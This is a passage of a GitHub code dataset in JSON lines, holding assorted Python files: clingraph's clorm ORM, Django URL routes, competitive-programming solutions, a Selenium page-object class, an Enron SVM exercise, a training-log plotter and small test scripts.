\"lex_rounds_purging_mixed\")\n\n\ndef write_input(folder, rounds, lex, purging, mixed, name):\n d = {}\n d[\"parameters\"] = {}\n d[\"parameters\"][\"maxCuts\"] = 2500\n d[\"parameters\"][\"awayEpsilon\"] = .01\n d[\"parameters\"][\"purgeEpsilon\"] = 1.0e-9\n d[\"parameters\"][\"useRounds\"] = rounds\n d[\"parameters\"][\"useLexicographic\"] = lex\n d[\"parameters\"][\"useMixedCut\"] = mixed\n d[\"parameters\"][\"usePurging\"] = purging\n with open(name + '.json', 'w') as outfile:\n json.dump(d, outfile)\n return name\n\n\ndef read_last_line(filepath):\n with open(filepath, 'r') as f:\n lines = f.read().splitlines()\n last_line = lines[-1]\n return last_line\n\n\ndef get_immediate_subdirectories(a_dir):\n return [name for name in os.listdir(a_dir)\n if os.path.isdir(os.path.join(a_dir, name))]\n\n\nif __name__ == \"__main__\":\n description = 'Generate random feasible problems, solve them and output results.'\n parser = argparse.ArgumentParser(description = description)\n parser.add_argument('input', type=str, nargs=1,\n metavar = 'input',\n help = 'input folder')\n parser.add_argument('folder', type=str, nargs=1,\n metavar = 'folder',\n help = 'folder to put statistics in')\n parser.add_argument('-m', '--m', action=\"store_true\", default=False,\n\t\t\thelp = 'use this option to use mixed cuts on pure problems')\n\n args = parser.parse_args()\n input_folder = args.input[0]\n folder = args.folder[0]\n use_mixed_on_pure = args.m\n main(input_folder, folder, use_mixed_on_pure)\n","repo_name":"tasseff/gomory","sub_path":"scripts/solve_problem.py","file_name":"solve_problem.py","file_ext":"py","file_size_in_byte":12151,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"43790271685","text":"# Дан список. Выведите те его элементы, которые встречаются в списке только один раз. Элементы нужно\n# выводить в том порядке, в котором они встречаются в списке.\n# Формат ввода\n# Вводится список чисел. Все числа списка находятся на одной строке.\n# Формат вывода\n# Выведите ответ на задачу.\n\na = list(map(int, input().split()))\nd = {}\nfor i in range(len(a)):\n if a[i] not in d:\n d[a[i]] = [0, i]\n d[a[i]][0] += 1\nres = []\nfor k, v in d.items():\n if v[0] == 1:\n res.append((v[1], k))\nres.sort()\nfor item in res:\n print(item[1], end=' ')\n","repo_name":"ann74/algorithms_practice","sub_path":"Con2.0_divB/sets/task_c.py","file_name":"task_c.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72897175507","text":"\"\"\"\n Defines an ORM for clingraphs using clorm\n\"\"\"\nimport logging\nfrom jinja2 import Template\nimport clorm\nfrom clorm import Predicate, RawField, ComplexTerm, refine_field, ConstantField, Raw\nfrom clorm import FactBase as ClormFactBase\nfrom clingo.symbol import Function, String\nfrom .exceptions import InvalidSyntax\nfrom .utils import pythonify_symbol, stringify_symbol\n\nlog = logging.getLogger('custom')\n\n\nif hasattr(clorm.orm.symbols_facts, 'NonFactError'):\n NonFactError = clorm.orm.symbols_facts.NonFactError # NOLINT\nelse:\n NonFactError = NotImplementedError\n\nif hasattr(clorm.orm.symbols_facts, 'FactParserError'):\n FactParserError = clorm.orm.symbols_facts.FactParserError # NOLINT\nelse:\n FactParserError = NotImplementedError\n\nclass AttrID(ComplexTerm):\n # pylint: disable=missing-class-docstring\n attr_name = ConstantField\n attr_variable = RawField\n attr_key = RawField\n\n class Meta:\n is_tuple = True\n\nclass AttrIDSugar(ComplexTerm):\n # pylint: disable=missing-class-docstring\n attr_name = ConstantField\n attr_variable = RawField\n\n class Meta:\n is_tuple = True\n\n\nElementType = refine_field(ConstantField,\n [\"graph\", \"node\", \"edge\", \"graph_nodes\", \"graph_edges\"])\n\n\nclass Factbase():\n \"\"\"\n Stores facts that are accepted by clingraphs syntax.\n It performs a preprocessing of the facts to unify them, and\n uses clorm as ORM to store and query the facts.\n \"\"\"\n # pylint: disable=too-many-instance-attributes\n\n def __init__(self, prefix: str = \"\", default_graph:str =\"default\"):\n \"\"\"\n Defines the factbase behavior based on the prefix for the predicates and\n the name of the deafult graph\n\n Args:\n prefix (str): The prefix to all predicate names\n default_graph (str): Name of the default graph,\n all elements with arity 1 will be assigned to this graph\n\n \"\"\"\n # pylint: disable=missing-class-docstring\n class Graph(Predicate):\n id = RawField\n\n class Meta:\n name = prefix+\"graph\"\n\n class SubGraph(Predicate):\n id = RawField\n graph = RawField\n\n class Meta:\n name = prefix+\"graph\"\n\n class Node(Predicate):\n id = RawField\n graph = RawField\n\n class Meta:\n name = prefix+\"node\"\n\n class Edge(Predicate):\n id = RawField\n graph = RawField\n\n class Meta:\n name = prefix+\"edge\"\n\n class Attr(Predicate):\n element_type = ElementType\n element_id = RawField\n attr_id = AttrID.Field\n attr_value = RawField\n\n class Meta:\n name = prefix+\"attr\"\n\n class AttrSugarSimple(Predicate):\n element_type = ElementType\n element_id = RawField\n attr_id = ConstantField\n attr_value = RawField\n\n class Meta:\n name = prefix+\"attr\"\n\n class AttrSugarDouble(Predicate):\n element_type = ElementType\n element_id = RawField\n attr_id = AttrIDSugar.Field\n attr_value = RawField\n\n class Meta:\n name = prefix+\"attr\"\n\n class NodeSugar(Predicate):\n id = RawField\n\n class Meta:\n name = prefix+\"node\"\n\n class EdgeSugar(Predicate):\n id = RawField\n\n class Meta:\n name = prefix+\"edge\"\n # pylint: disable=invalid-name\n\n self.Graph = Graph\n self.SubGraph = SubGraph\n self.Node = Node\n self.Edge = Edge\n self.Attr = Attr\n self.NodeSugar = NodeSugar\n self.EdgeSugar = EdgeSugar\n self.AttrSugarSimple = AttrSugarSimple\n self.AttrSugarDouble = AttrSugarDouble\n\n self.default_graph = default_graph\n self.fb = ClormFactBase(indexes=[Attr.element_id])\n self.prefix = prefix\n\n @classmethod\n def from_string(cls, string, prefix: str = \"\", default_graph:str =\"default\" ):\n \"\"\"\n Creates a :py:class:`Factbase` from a string\n\n Args:\n string (str): A string consisting of only facts, divided by a ``.``\n prefix (str): The prefix to all predicate names\n default_graph (str): Name of the default graph,\n all elements with arity 1 will be assigned to this graph\n\n Raises:\n :py:class:`InvalidSyntax`: If the input are not facts\n \"\"\"\n\n fb = cls(prefix, default_graph)\n fb.add_fact_string(string)\n return fb\n\n @classmethod\n def from_model(cls, model, prefix: str = \"\", default_graph:str =\"default\" ):\n \"\"\"\n Creates a :py:class:`Factbase` from a clingo model\n\n Args:\n model (clingo.Model): A model returned by clingo\n prefix (str): The prefix to all predicate names\n default_graph (str): Name of the default graph,\n all elements with arity 1 will be assigned to this graph\n \"\"\"\n fb = cls(prefix, default_graph)\n fb.add_model(model)\n return fb\n\n def __str__(self):\n \"\"\"\n Returns the current set of facts as a string\n \"\"\"\n return self.fb.asp_str()\n\n @property\n def _unifiers(self):\n \"\"\"\n The list of all unifiers\n \"\"\"\n main_unifiers = [self.Graph, self.SubGraph,\n self.Node, self.Edge, self.Attr]\n sugar_unifiers = [self.NodeSugar, self.EdgeSugar,\n self.AttrSugarSimple, self.AttrSugarDouble]\n return main_unifiers+sugar_unifiers\n\n def _get_element_class(self, element_type):\n \"\"\"\n Obtains an element class for a type given as a string\n\n Args:\n element_type (str): graph, edge or node\n \"\"\"\n if element_type == \"edge\":\n return self.Edge\n if element_type == \"node\":\n return self.Node\n if element_type == \"graph\":\n return self.Graph\n\n raise ValueError(\"Invalid element type\")\n\n def add_fact_string(self, program):\n \"\"\"\n Adds a string containing facts to the :py:class:`Factbase`\n\n Args:\n program (str): A string consisting of only facts, divided by a ``.``\n\n Raises:\n :py:class:`InvalidSyntax`: If the input are not facts\n \"\"\"\n #pylint: disable=duplicate-except\n\n try:\n fb = clorm.parse_fact_string(program, self._unifiers,raise_nonfact=True)\n self.add_fb(fb)\n except NonFactError as e:\n msg = \"The input string contains a complex structure that is not a fact.\"\n raise InvalidSyntax(msg,str(e)) from None\n except FactParserError as e:\n msg = \"The input string contains a complex structure that is not a fact.\"\n raise InvalidSyntax(msg,str(e)) from None\n except RuntimeError as e:\n msg = \"Syntactic error the input string can't be read as facts. \\n\" + program\n raise InvalidSyntax(msg,str(e)) from None\n\n def add_fact_file(self, file):\n \"\"\"\n Adds a file containing facts to the :py:class:`Factbase`\n\n Args:\n file (str): The path to the file\n\n Raises:\n :py:class:`InvalidSyntax`: If the input are not facts\n \"\"\"\n #pylint: disable=duplicate-except\n try:\n fb = clorm.parse_fact_files([file], self._unifiers,raise_nonfact=True)\n self.add_fb(fb)\n except NonFactError as e:\n msg = \"The file contains a complex structure that is not a fact.\"\n raise InvalidSyntax(msg,str(e)) from None\n except FactParserError as e:\n msg = \"The input file contains a complex structure that is not a fact.\"\n raise InvalidSyntax(msg,str(e)) from None\n except RuntimeError as e:\n msg = \"Syntactic error the file, can't be read as facts.\"\n raise InvalidSyntax(msg,str(e)) from None\n\n def add_model(self, model):\n \"\"\"\n Adds a clingo model to the :py:class:`Factbase`\n\n Args:\n model (clingo.Model): A model returned by clingo\n \"\"\"\n symbols = model.symbols(atoms=True, shown=True)\n fb = clorm.unify(self._unifiers, symbols)\n self.add_fb(fb)\n\n def add_fb(self, fb):\n \"\"\"\n Adds a clorm fact base to the :py:class:`Factbase`\n \"\"\"\n processed_fb = self._desugar(fb)\n self.fb = self.fb.union(processed_fb)\n\n def _desugar(self, fb):\n \"\"\"\n Desugar factbase\n - for each node(ID) add node(ID,default) same for edge\n - replace attr(E,ID,Name,Val) with attr(E,ID,(Name,-1),Val)\n \"\"\"\n q = fb.query(self.AttrSugarSimple)\n for attr in set(q.all()):\n name = attr.attr_id\n var = String(\"__\")\n key = String(\"__\")\n new_attr_id = AttrID(attr_name=name,\n attr_variable=Raw(var),\n attr_key=Raw(key))\n e = self.Attr(element_type=attr.element_type,\n element_id=attr.element_id,\n attr_value=attr.attr_value,\n attr_id=new_attr_id)\n fb.remove(attr)\n fb.add(e)\n\n q = fb.query(self.AttrSugarDouble)\n for attr in set(q.all()):\n # print(attr)\n attr_id = attr.attr_id\n name = attr_id.attr_name\n var = attr_id.attr_variable\n key = String(\"__\")\n # print((name,var,key))\n new_attr_id = AttrID(attr_name=name,\n attr_variable=var,\n attr_key=Raw(key))\n e = self.Attr(element_type=attr.element_type,\n element_id=attr.element_id,\n attr_value=attr.attr_value,\n attr_id=new_attr_id)\n # print(e)\n # print()\n fb.remove(attr)\n fb.add(e)\n\n basic_element_classes = [\n (self.NodeSugar, self.Node), (self.EdgeSugar, self.Edge)]\n using_default = False\n for C_Sugar, C in basic_element_classes:\n q = fb.query(C_Sugar)\n for node in set(q.all()):\n using_default = True\n e = C(id=node.id,\n graph=Raw(Function(self.default_graph)))\n fb.remove(node)\n fb.add(e)\n if using_default:\n fb.add(self.Graph(id=Raw(Function(self.default_graph))))\n\n return fb\n\n def get_facts(self):\n \"\"\"\n Gets the facts in the factbase after preprocessing as a string\n\n Returns:\n (`str`) A string with the facts\n \"\"\"\n\n return self.fb.asp_str()\n\n\n def get_all_graphs(self):\n \"\"\"\n Gets a list if the identifiers for all the graphs\n\n Returns:\n (`list`) A list with the identifiers for all the graphs\n \"\"\"\n q = self.fb.query(self.Graph).select(self.Graph.id)\n graph_ids = list(q.all())\n if len(graph_ids) == 0:\n log.warning(\"No graphs were defined in the code. Perhaps a missing `graph` predicate.\")\n q = self.fb.query(self.SubGraph).select(self.SubGraph.id)\n graph_ids = graph_ids+list(q.all())\n return graph_ids\n\n def get_parent_graph(self, graph_id):\n \"\"\"\n Gets the parent graph for a given graph_id.\n\n Args:\n graph_id: Identifier of the subgraph\n\n Returns:\n The identifier of the parent graph or None if there is no parent\n \"\"\"\n q = self.fb.query(self.SubGraph).where(self.SubGraph.id == graph_id)\n q = q.select(self.SubGraph.graph)\n if len(list(q.all())) == 0:\n return None\n return list(q.all())[0]\n\n def get_graph_global_element_attr(self, element_type, graph_id):\n \"\"\"\n Gets the attributes for a global element: graph_nodes or graph_edges.\n\n Args:\n element_type (str): The element type: ``edge`` or ``node``\n graph_id: Identifier of the graph\n\n Returns:\n (`dic`) A dictionary with attribute names as key and attribute values as values.\n \"\"\"\n full_element_type = f\"graph_{element_type}s\"\n return self.get_element_attr(full_element_type, graph_id)\n\n def get_graph_elements(self, element_type, graph_id):\n \"\"\"\n Gets the list of elements for a graph\n\n Args:\n element_type (str): The element type: ``edge`` or ``node``\n graph_id: Identifier of the graph\n\n Returns:\n (`list`) The list of elements that belong to the graph\n \"\"\"\n C = self._get_element_class(element_type)\n q = self.fb.query(C).where(C.graph == graph_id).select(C.id)\n return list(q.all())\n\n def get_element_attr(self, element_type, element_id):\n \"\"\"\n Gets the attributes a specific element\n Returns a dictionary where the keys are attribute name and values are\n attribute values.\n\n Args:\n element_type (str): The element type: ``graph``, ``edge`` or ``node``\n element_id: Identifier of the element\n\n Returns:\n (`dic`) A dictionary with attribute names as key and attribute values as values.\n \"\"\"\n q = self.fb.query(self.Attr)\n q = q.where(self.Attr.element_type == element_type,\n self.Attr.element_id == element_id)\n # pylint: disable=no-member\n q = q.group_by(self.Attr.attr_id.attr_name)\n q = q.select(self.Attr.attr_id.attr_variable, self.Attr.attr_id.attr_key, self.Attr.attr_value)\n attrs = {}\n for name, list_opts in q.all():\n\n custom_template = False\n template = \"{% for k,v in data| dictsort %}{{v}}{% endfor %}\"\n data = {}\n\n for var, key, val in list_opts:\n var = stringify_symbol(var.symbol)\n val = pythonify_symbol(val.symbol)\n key = pythonify_symbol(key.symbol)\n\n is_template = var==\"__\"\n if is_template:\n if custom_template:\n template = template + str(val)\n else:\n template = str(val)\n custom_template= True\n continue\n\n is_dict = key!=\"__\"\n if is_dict:\n if var not in data:\n data[var]={}\n if key in data[var]:\n log.warning(\"Entry (%s,%s,%s) repeated on element %s. Duplicates will be ignored\",name,var,key,element_id)\n data[var][key]= val\n continue\n\n if var in data:\n log.warning(\"Entry (%s,%s) repeated on element %s. Duplicates will be ignored\",name,var,element_id)\n\n data[var]=val\n\n if isinstance(template, str):\n log.debug(\"Formatting template %s with data %s\",template,data)\n s = Template(template).render(data,data = data)\n else:\n s = template\n attrs[str(name)] = str(s)\n\n\n if str(name)=='texlbl': #Used for latex\n attrs[str(name)] = attrs[str(name)].replace('\\\\\\\\','\\\\')\n\n return attrs\n","repo_name":"potassco/clingraph","sub_path":"clingraph/orm.py","file_name":"orm.py","file_ext":"py","file_size_in_byte":15524,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"48"} +{"seq_id":"4287839720","text":"from django.conf.urls import url\nfrom . import views\nfrom django.contrib.auth import views as auth_views\nimport django\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^login/$',\n auth_views.login,\n {\"template_name\": \"Game/loginform.html\"},\n name='login'),\n url(r'^game-page/$', views.game_page, name='game-page'),\n url(r'^logout/$', auth_views.logout_then_login, name='logout'),\n url(r'^registration/$', views.registration, name='registration'),\n url(r'get_categories', views.get_categories, name='get_categories'),\n url(r'^ajax_login/$', views.login_view, name='ajax_login'),\n url(r'check_element', views.check_element, name='check_element'),\n url(r'get-open-elements-by-category/(?P[0-9]+)',\n views.get_user_open_element_list, name='get-open-elements-by-cat'),\n url(r'activate/(?P[a-f0-9]+)', views.activation, name='activation'),\n url(r'feedback', views.feedback, name='feedback'),\n ]\n","repo_name":"i-ka/alchemy","sub_path":"Game/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"15273745921","text":"from collections import deque\nM, N = map(int, input().split())\n\nboard = [list(input()) for _ in range(M)]\nch = [[0] * N for _ in range(M)]\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\n\ndef bfs(x, y):\n global res\n q = deque()\n q.append((x, y))\n ch[x][y] = 1\n while q:\n x, y = q.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if 0 <= nx < M and 0 <= ny < N and board[nx][ny] == 'L'\\\n and ch[nx][ny] == 0:\n ch[nx][ny] = ch[x][y] + 1\n q.append((nx, ny))\n tmp = 0\n for i in range(M):\n if tmp < max(ch[i]):\n tmp = max(ch[i])\n if res < tmp:\n res = tmp\n\nres = 0\nfor idx in range(M):\n for j in range(N):\n if board[idx][j] == 'L':\n bfs(idx, j)\n ch = [[0] * N for _ in range(M)]\nprint(res - 1)","repo_name":"gkdbssla97/Python-Coding-Test","sub_path":"CodingProblem/BOJ2589.py","file_name":"BOJ2589.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"72344163026","text":"#from src.all_imports import *\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import WebDriverException, NoSuchElementException\n\nfrom selenium.webdriver.common.by import By\nimport datetime\nimport time\n\nimport src.utilities as utils\n\n# this is reusable functions for webpages.\nclass BasePage:\n def __init__(self, driver):\n # this is global properties in constructor (function __init__)\n self.driver = driver\n self.wwait = WebDriverWait(self.driver, 10)\n\n def click_element_by_xpath(self,xpath):\n \"\"\"\n this method finds the element by xpath and clicks it\n :param xpath: correct unique xpath of single element\n \"\"\"\n try:\n utils.LOG.info(f\"xpath provided: {xpath}\")\n # element = driver.find_element_by_xpath(xpath)\n element = self.wwait.until(EC.element_to_be_clickable((By.XPATH, xpath)))\n\n utils.LOG.info(\"clicking the element\")\n element.click()\n except NoSuchElementException as err:\n utils.LOG.warning(f\"Check element by following xpath: {xpath}\")\n utils.LOG.error(err)\n self.take_screenshot('ErrorClickElement_')\n\n def enter_text_by_xpath(self, xpath, some_text):\n \"\"\"\n this method finds the element by xpath and enters text in it\n :param xpath: correct unique xpath of single INPUT element\n :param some_text: text to be entered in the element\n \"\"\"\n try:\n utils.LOG.info(f\"xpath provided: {xpath}\")\n # element = driver.find_element_by_xpath(xpath)\n # element = WebDriverWait(driver, 10).until(expected_conditions.presence_of_element_located((By.XPATH, xpath)))\n element = self.wwait.until(EC.presence_of_element_located((By.XPATH, xpath)))\n\n utils.LOG.info(f\"entering the following text :{some_text}\")\n element.send_keys(some_text)\n except WebDriverException as err:\n utils.LOG.error(f\"Entering Text failed by following xpath: {xpath}\")\n utils.LOG.error(err)\n self.take_screenshot('ErrorEnterText_')\n\n def highlight_element(self, element):\n js_script = \"arguments[0].setAttribute('style', arguments[1]);\"\n original_style = element.get_attrivute('style')\n new_style = \"color: green; border: 2px solid green;\"\n # new_style = \"background: yellow; color: green; border: 2px solid green;\"\n self.driver.execute_script(js_script, element, new_style)\n self.driver.execute_script(js_script, element, original_style)\n utils.LOG.info(\"Element highlighted\")\n\n def take_screenshot(self, message=\"\"):\n timestmp = datetime.datetime.fromtimestamp(time.time()).strftime('%Y%m%d_%H%M%S')\n # ROOT_DIR is \"C:/dev/week7\"\n file_location = f\"{utils.ROOT_DIR}/screenshots/\"\n file_location = f\"C:/DEV/week7/screenshots/\"\n file_name = message + timestmp + \".png\"\n full_file_path = file_location + file_name\n\n self.driver.save_screenshot(full_file_path)\n utils.LOG.info(\"screenshot was taken and completed\")\n # driver.get_screenshot_as_png(message + timestmp)\n\n\n def get_text_by_xpath(self, xpath: str) -> str:\n try:\n utils.LOG.info(f\"xpath provided: {xpath}\")\n # element = driver.find_element_by_xpath(xpath)\n element = self.wwait.until(EC.element_to_be_clickable((By.XPATH, xpath)))\n\n utils.LOG.info(\"getting the element text\")\n return element.text\n except NoSuchElementException as err:\n utils.LOG.warning(f\"Check element by following xpath: {xpath}\")\n utils.LOG.error(err)\n self.take_screenshot('ErrorGetText_')\n\n","repo_name":"dilshod-Cisco/SeleniumPytestPOM","sub_path":"src/pages/base_page.py","file_name":"base_page.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"43516507702","text":"# 어떤 수를 왼쪽부터 읽어도, 오른쪽부터 읽어도 같을 때 이 수를 회문인 수라고 한다. 예를 들어, 747은 회문인 수이다. 255도 회문인 수인데, 16진수로 표현하면 FF이기 때문이다. 양의 정수를 입력받았을 때, 이 수가 어떤 B진법 (2 ≤ B ≤ 64)으로 표현하면 회문이 되는 경우가 있는지 알려주는 프로그램을 작성하시오. B진법이란, 한 자리에서 수를 표현할 때 쓸 수 있는 수의 가짓수가 B라는 뜻이다. 예를 들어, 십진법에서 B는 10이다.\r\n\r\nT = int(input())\r\nfor _ in range(T):\r\n number = int(input())\r\n ans = []\r\n for B in range(2, 65):\r\n lst = []\r\n temp = number\r\n while True:\r\n if temp == 0:\r\n break\r\n else:\r\n lst.append(temp % B)\r\n temp //= B\r\n for i in range(len(lst)//2):\r\n if lst[i] != lst[-1-i]:\r\n ans.append(\"X\")\r\n break\r\n if len(ans) == 63:\r\n print(0)\r\n else:\r\n print(1)","repo_name":"dnwls16071/PS_Baekjoon","sub_path":"10000~/11068.py","file_name":"11068.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28776797960","text":"'''\r\nCreated on 2015. 9. 11.\r\n\r\n@author: thCho\r\n'''\r\n\r\nimport engine.portfolioInfo.PortfolioInfo as PI\r\nimport engine.portfolioInfo.AbstractStrategy as ASt\r\nfrom engine.portfolio.SelectAssets import SelectAsset\r\nfrom engine.type.PortfolioType import PortfolioType\r\nfrom util.schedule.Date import Date\r\nfrom util.schedule.Period import Period\r\n\r\ntoday = Date('20150611')\r\n#Assets\r\nsa = SelectAsset()\r\nvariables = [PortfolioType.MARKET, PortfolioType.MARKETCAP]\r\nconditions = [\"='KS'\", \">= '50000000'\"]\r\n\r\nassets = sa.select(variables, conditions, today)\r\nassetCodes = []\r\nfor i in range(0, len(assets)):\r\n assetCodes.append(assets[i].assetCode)\r\ninitialMoney = 1.0E6\r\nperiod = ['20150105','20150113']\r\n\r\nportfolio = PI.PortfolioInfo(assetCodes, initialMoney, period)\r\n\r\nstrategy = []\r\nfor i in range(0, len(assets)):\r\n if i%4 == 0:\r\n strategy.append(ASt.AbstractStrategy('20150105', assetCodes[i], 1))\r\n \r\n if i%4 == 0:\r\n strategy.append(ASt.AbstractStrategy('20150113', assetCodes[i], -1))\r\n\r\n\r\nportfolio.getInfobyStrategy(strategy, False)\r\n\r\ndates = ['20150106', '20150107', '20150108', '20150109']\r\nfor i in range(0, len(dates)):\r\n print(portfolio.getMTM(dates[i]))\r\n\r\n\r\n","repo_name":"quantosauros/KirudaEngine","sub_path":"kirudaEngine/test/PortfolioInfo/testPortfolioStrategy.py","file_name":"testPortfolioStrategy.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"951715092","text":"#!/usr/bin/python\n\n\"\"\" \n This is the code to accompany the Lesson 2 (SVM) mini-project.\n\n Use a SVM to identify emails from the Enron corpus by their authors: \n Sara has label 0\n Chris has label 1\n\"\"\"\n \nimport sys\nfrom time import time\nsys.path.append(\"../tools/\")\nfrom email_preprocess import preprocess\n\n\n### features_train and features_test are the features for the training\n### and testing datasets, respectively\n### labels_train and labels_test are the corresponding item labels\nfeatures_train, features_test, labels_train, labels_test = preprocess()\n\n\n\n\n#########################################################\n### your code goes here ###\n\nfrom sklearn.svm import SVC\n\"\"\"\n# using 1% of training set\na = int(len(features_train)/100)\nb = int(len(labels_train)/100)\nfeatures_train = features_train[:a]\nlabels_train = labels_train[:b]\n\"\"\"\n\n#clf = SVC(kernel=\"linear\")\nclf = SVC(kernel=\"rbf\", C=10000)\nt0 = time()\nclf.fit(features_train, labels_train)\nprint (\"training time:\", round(time()-t0, 3), \"s\")\n\nt0 = time()\npred = clf.predict(features_test)\nprint (\"predict time:\", round(time()-t0, 3), \"s\")\n\n\nfrom sklearn.metrics import accuracy_score\naccuracy = accuracy_score(pred, labels_test)\nprint(\"accuracy =\", accuracy)\n\nprint (\"answer to element 10 is = \", pred[10])\nprint (\"answer to element 26 is = \", pred[26])\nprint (\"answer to element 50 is = \", pred[50])\n\na=0\nb=0\nprint(\"length =\", len(pred))\nfor ii in range(len(pred)):\n if(pred[ii] == 1): a += 1\n else: b += 1 \n\nprint( \"number of prediction for Chris = \",a)\nprint( \"number of prediction for Sara = \",b)\n\n#########################################################\n\n\n","repo_name":"saeidmoha/svm","sub_path":"svm_author_id.py","file_name":"svm_author_id.py","file_ext":"py","file_size_in_byte":1647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15277113800","text":"import json\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\n\ncolor_scheme = dict(red='#c44e52',\n orange='#dd8452',\n yellow='#ccb974',\n green='#55a868',\n blue='#64b5cd',\n indigo='#4c72b0',\n purple='#8172b3')\ncs = dict(r='#c44e52',\n o='#dd8452',\n y='#ccb974',\n g='#55a868',\n b='#64b5cd',\n i='#4c72b0',\n p='#8172b3')\n\n\ndef load_json_logs(json_log):\n train_info, val_info = [], []\n with open(json_log, 'r') as log_file:\n for line in log_file:\n log = json.loads(line.strip())\n if 'train' in log.values():\n train_info.append(dict(epoch=log['epoch'], iter=log['iter'], lr=log['lr'],\n loss=log['loss'], loss_cls=log['loss_cls'], loss_bbox=log['loss_bbox']))\n if 'val' in log.values():\n val_info.append(dict(epoch=log['epoch'], iter=log['iter'], AP50=log['bbox_mAP_50'],\n mAP=log['bbox_mAP']))\n\n return train_info, val_info\n\n\ndef plot_curves(train_info, val_info):\n iters_per_epoch = val_info[0]['iter']\n losses = [info['loss'] for info in train_info]\n cls_losses = [info['loss_cls'] for info in train_info]\n bbox_losses = [info['loss_bbox'] for info in train_info]\n lr = [info['lr'] for info in train_info]\n iters = [(info['epoch'] - 1) * iters_per_epoch + info['iter'] for info in train_info]\n AP50 = [info['AP50'] for info in val_info]\n mAP = [info['mAP'] for info in val_info]\n iters_val = [info['epoch'] * info['iter'] for info in val_info]\n\n # matplotlibrc\n mpl.rcParams['xtick.direction'] = 'in'\n mpl.rcParams['ytick.direction'] = 'in'\n fig, ax = plt.subplots(2, 2, figsize=[12, 9])\n ax = ax.reshape(-1)\n\n ax[0].plot(iters, losses, color=cs['r'], label='total_loss')\n # ax[0].plot(iters, cls_losses, color=cs['i'], label='cls_loss')\n # ax[0].plot(iters, bbox_losses, color=cs['g'], label='bbox_loss')\n max_iter = max(iters)\n power = len(str(max_iter)) - 1\n right = math.ceil(max_iter / 10 ** power) * 10 ** power\n ax[0].set_xlim(0, right)\n ax[0].set_xlabel('iterations', fontsize=12)\n ax[0].set_ylim(0)\n ax[0].set_ylabel('loss', fontsize=12)\n # ax[0].grid(ls='--', lw=0.5)\n ax[0].legend()\n\n ax[1].plot(iters_val, AP50, color=cs['i'], label='AP50')\n max_iter = max(iters_val)\n power = len(str(max_iter)) - 1\n right = math.ceil(max_iter / 10 ** power) * 10 ** power\n ax[1].set_xlim(0, right)\n labels = [int(x / 10 ** power) for x in ax[1].get_xticks()]\n ax[1].set_xticklabels(labels)\n ax[1].set_xlabel(f'iterations(10^{power})', fontsize=12)\n ax[1].set_ylim(0)\n ax[1].set_yticks(np.linspace(0, 1, 6))\n ax[1].set_ylabel('AP', fontsize=12)\n ax[1].legend(loc=4)\n\n for i, (k, v) in enumerate(color_scheme.items()):\n ax[2].plot(range(0, 10), i * np.arange(0, 10), c=v, label=k)\n ax[2].legend()\n\n fig.savefig('training.png')\n fig.show()\n\n\nif __name__ == '__main__':\n json_log = '../../work_dirs/fcos_r50_ssdd_8-1-0.02/20211006_201009.log.json'\n plot_curves(*load_json_logs(json_log=json_log))\n","repo_name":"NotRaining/mmdetection","sub_path":"tools/analysis_tools/analyze_training.py","file_name":"analyze_training.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19102516989","text":"from book import Book\nfrom recipe import Recipe\n\ntourte = Recipe('tourte', '1', '10', 'd', 'e', 'lunch')\nto_print = str(tourte)\n\nbook = Book(tourte)\n\nbook.get_recipes_by_types('dessert')\n\nbook.add_recipe(tourte)\n\nbook.get_recipes_by_types('dessert')\n\nbook.add_recipe(Recipe('jkhjkh', '1', '10', 'd', 'e', 'lunch'))\nbook.add_recipe(Recipe('222', '1', '10', 'd', 'e', 'dessert'))\nbook.add_recipe(Recipe('333', '1', '10', 'd', 'e', 'lunch'))\n\n\nbook.get_recipes_by_types('lunch')\n\nprint(to_print)\n\nprint(book.get_recipe_by_name('snarf')._name)\n\nbook.get_recipes_by_types('lunch')\n\n","repo_name":"VVIMT/BootcampPython-42AI","sub_path":"day01/ex00/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72736844305","text":"import networkx as nx\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom torch_geometric.utils.convert import to_networkx\r\n\r\n# 通过邻接矩阵生成图\r\n# 有向图\r\nnx.from_numpy_matrix(np.array(data), create_using=nx.DiGraph)\r\n# 无向图\r\nnx.from_numpy_matrix(np.array(data))\r\n# 修改图的属性\r\nG.graph[\"day\"] = \"Monday\"\r\n# 修改节点属性\r\nG.add_nodes_from([3], time=\"2pm\")\r\nG.nodes[1][\"room\"] = 714\r\nG.nodes.data()\r\n# 修改边的属性\r\nG.add_edges_from([(3, 4), (4, 5)], color=\"red\")\r\nG.add_edges_from([(1, 2, {\"color\": \"blue\"}), (2, 3, {\"weight\": 8})])\r\nG[1][2][\"weight\"] = 4.7\r\nG.edges[3, 4][\"weight\"] = 